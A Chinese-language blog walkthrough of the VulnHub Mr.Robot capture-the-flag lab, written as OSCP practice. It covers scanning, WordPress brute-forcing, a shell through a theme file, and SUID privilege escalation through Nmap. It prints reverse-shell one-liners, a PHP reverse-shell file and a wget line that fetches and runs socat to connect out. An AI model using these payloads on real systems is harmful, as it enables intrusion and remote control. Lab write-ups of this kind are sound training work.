vulnhub-Mr.Robot

1.写在前面

计划按照OSCP的学习路线,从头开始学习并复现vulnhub的靶场环境,在此进行记录

Mr.robot其实是个美剧,之前看过一些,算是脑洞大开的一类,除此之外还有 《硅谷》,都是比较出众的IT类型影视剧。

2.知识点速记

  • 目录及登录爆破
  • wordpress后台getshell
  • Linux下shell反弹
  • 普通shell及交互式shell
  • suid提权
  • 基础Linux知识

3.环境配置

直接去vulnhub官网下载对应的ova文件即可,然后拖入vmware。这里为了方便宿主机与靶机通讯,将虚拟机的网络模式设置为了NAT模式

Win10 宿主机、kali2020 攻击机、vulnhub靶机

4.信息收集

环境配置好后,首先确认一下IP,在kali上查看当前IP为 192.168.114.128

对当前网段的主机进行扫描,可使用的命令如下:

1
2
nmap -R 192.168.114.0/24
arp-scan 192.168.114.0/24 (同个网段,内网嗅探)
image-20220408165133607 image-20220408165230171

找到目标靶机并确认开启了80,443端口。

5.目录扫描

访问网站,是一个虚拟终端的动画展示(无法执行命令)。除此外没有得到其他有用信息,也无链接可以跳转。

于是尝试进行目录爆破,使用工具kali下的gobuster

gobuster dir -w /home/wanghao/vulnhub/Dir.txt -u http://192.168.114.129 -t 20 -o test.txt

img

当然方式有很多,Kali下还有自带的dirb dirb https://192.168.114.129/

image-20220408170348142

访问 /login 跳转到wordpress登录界面,抓包测试明文传输,但目前没有密码

访问 robots.txt ,发现俩文件 fsocity.dickey-1-of-3.txt (就这样第1个key就拿到了,一共3个key)

image-20220408171824092

6.用户爆破

下载这个 fsocity.dic 文件,发现是个字典,结合上面wordpress登录,可以进行一波用户爆破

PS:这里有个技巧,如果输入的用户不存在,会进行错误提示,那么可以先爆破用户名,然后利用争取的用户名爆破密码,提高跑字典的效率!

image-20220408172302420

具体怎么跑就不说了,丢到burp的intruder模块就完事了。用的就是上面的dic字典,这里成功跑出用户ElLiot和elliot。(其实就是电视剧男主的名字….)

img

OK,接着跑密码,这里其实看过其他人写的wp,所以知道密码也在这个dic文件中,但看了看这个dic量是在太大,密码也放在文件的最后几行里,如果是真实环境,我可能已经放弃了…. 最后得到账号密码:Elliot ER28-0652

image-20220408172802161

7.反弹shell

这里走了比较多的弯路,后面对linux下反弹shell进行一波总结

利用上面的账号密码登录wordpress后台,寻找可getshell的地方。中间为了复现,把环境打崩了。。。

后面的复现中靶机的IP变更为 192.168.114.130

修改主题文件

通过修改主题文件,实现getshell。需要注意的是,要明确主题文件的相对路径,这里插入了一个echo语句,进行测试,实际上404文件在这:https://192.168.114.130/wp-content/themes/twentyfifteen/404.php,也即路径/wp-content/themes/主题名称/主题文件

后台getshell方式:wordpress后台getshell

image-20220408183435079

对于本次环境,利用方式有很多:

借助webshell

  1. 插入一句话webshell,然后用蚁剑哥斯拉连接后得到一个简易的终端

  2. 然后检测目标服务器的语言环境和安装的程序,再选择对应的反弹shell的payload

    1. 语言环境:php、python、perl、ruby、java
    2. 应用:nc、socat、bash、zsh、openssl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
## php反弹shell
php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

## python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.114.128",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

## bash反弹shell
bash -i >& /dev/tcp/攻击ip/攻击端口 0>&1

## perl反弹shell
perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

## java反弹shell
## 需要编译再运行
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

## msfvenom生成各类shell
msfvenom -l payload |grep "cmd/unix"
msfvenom -p "对应的payload" -LHOST xxx -LPORT xxx R

直接反弹

直接编辑主题的php文件,然后插入shell反弹语句 (fsockopen函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# php 反弹
<?php
set_time_limit(0);
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){ echo "error";}
else{
fputs($fp,"\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp,"[php-shell]:");//输出
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.114.128/4444 0>&1' ");
?>

由于oscp是kali环境的,所以payload最好也在kali里找,这里可以用wordpress的这个:

1
find / -name php-reverse-shell.php

image-20220411175756889

相关链接:

Linux 反弹shell

不一样的 “反弹Shell” 系统剖析

提升交互式shell

但这里有个问题,kali监听得到的本地shell,交互性较差,具体表现在:

  1. 没有错误输出
  2. 无法执行su、ssh等命令
  3. 没有向上的历史箭头
  4. 无法使用vim等
  5. ctrl+z 断开shell连接

image-20220411175239671

以上最要命的是无法执行su切换用户,因为后面的任务需要提权到robot用户、root用户,所以必须要搞个交互式的shell。

目前学习到的主要两个:

1
2
3
## python TTY交互式shell
## 对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端
python -c 'import pty; pty.spawn("/bin/bash")'
1
2
3
4
5
6
7
8
## socat 全交互式shell(自动补全、历史箭头、su、vim、ctrl+z返回终端)
### https://github.com/andrew-d/static-binaries/tree/master/socat/build.sh
## 靶机命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
## 攻击机命令
socat file:`tty`,raw,echo=0 tcp-listen:攻击机端口
### wget 一行命令socat
wget -q https://xxx.com/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080

tips:一般linux并没有安装socat,可以先下载到vps上,然后在靶机上通过wget的方式下载再本地运行

相关链接:Linux完全交互式的TTY

8.提权

8.1 su切换

完成交互式shell建立后,先进入/home/robot 查看,发现第二个key和一个md5加密的密码

image-20220411160309193

对密码进行破解,得到用户robot/abcdefghijklmnopqrstuvwxyz,至于为什么是robot用户?除了home下用户名外,也可以看看etc/passwd文件。

image-20220411160512807

于是切换到robot用户。还记得之前的key-2吗,用daemon权限是读取不到的,只有owner,也即robot用户才有权读取。

image-20220411161341570

8.2 suid提权

这里用到了suid提权,这个之前总结过,后面把那篇也更新到博客里。

简单来说,Linux中已知可用来提权的可执行文件有:

1
2
3
Nmap、Vim、find
Bash、More、Less
Nano、cp

以下命令用于发现系统上运行的SUID可执行文件。命令将尝试查找具有root权限的SUID的文件

1
2
3
4
5
6
7
8
9
10
11
find / -user root -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

##解释一下find 命令的参数:
1.-perm (permission),匹配权限。
4000 2000 1000分别表示SUID SGID SBIT
2为标准错误 /dev/null为黑洞设备(收到的信息全部丢弃)
3.-exec command {} \; 对find匹配到的文件执行command命令
{}表示由find找到的内容,都会被放到{}中
即执行ls -ldb命令

用上述命令搜索,发现存在nmap程序,且属主为root,具有s标志位。

img

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

那么我们查看下nmap版本,确实在范围内,那直接利用了呀

img

切到root目录,第三个key得到,打完收工

image-20220411164117028